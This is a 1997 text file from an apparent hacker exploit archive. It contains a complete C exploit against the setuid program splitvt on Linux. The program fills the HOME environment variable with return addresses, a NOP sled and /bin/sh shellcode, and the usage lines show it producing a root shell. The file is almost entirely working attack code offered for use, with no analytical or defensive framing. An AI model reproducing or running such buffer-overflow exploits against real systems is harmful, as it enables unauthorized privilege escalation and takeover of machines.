home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / linux / linux-~6.asc < prev    next >
Encoding:
Text File  |  1997-03-11  |  950 b   |  54 lines

  1.  
  2.  
  3.  
  4.  
  5. syntax:
  6.  
  7.  
  8.  
  9. %cc -o sl sl.c
  10.  
  11. %sl
  12.  
  13. bash#sl
  14.  
  15. bash#splitvt
  16.  
  17. #whoami
  18.  
  19. root
  20.  
  21. --------------------------------
  22.  
  23. long get_esp(void)
  24.  
  25. {
  26.  
  27. __asm__("movl %esp,%eax\n");
  28.  
  29. }
  30.  
  31. main()
  32.  
  33. {
  34.  
  35.   char eggplant[2048];
  36.  
  37.   int a;
  38.  
  39.   char *egg;
  40.  
  41.   long *egg2;
  42.  
  43.   char realegg[] =
  44.  
  45. "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  46.  
  47. "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  48.  
  49. "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  50.  
  51.   char *eggie = realegg;
  52.  
  53.  
  54.  
  55.   egg = eggplant;
  56.  
  57.  
  58.  
  59.   *(egg++) = 'H';
  60.  
  61.   *(egg++) = 'O';
  62.  
  63.   *(egg++) = 'M';
  64.  
  65.   *(egg++) = 'E';
  66.  
  67.   *(egg++) = '=';
  68.  
  69.  
  70.  
  71.   egg2 = (long *)egg;
  72.  
  73.  
  74.  
  75.   for (a=0;a<(256+8)/4;a++) *(egg2++) = get_esp() + 0x3d0 + 0x30;
  76.  
  77.  
  78.  
  79.   egg=(char *)egg2;
  80.  
  81.  
  82.  
  83.   for (a=0;a<0x40;a++) *(egg++) = 0x90;
  84.  
  85.  
  86.  
  87.   while (*eggie)
  88.  
  89.     *(egg++) = *(eggie++);
  90.  
  91.   *egg = 0; /* terminate eggplant! */
  92.  
  93.  
  94.  
  95.   putenv(eggplant);
  96.  
  97.  
  98.  
  99.   system("/bin/bash");
  100.  
  101. }
  102.  
  103.  
  104.  
  105.  
  106.  
  107.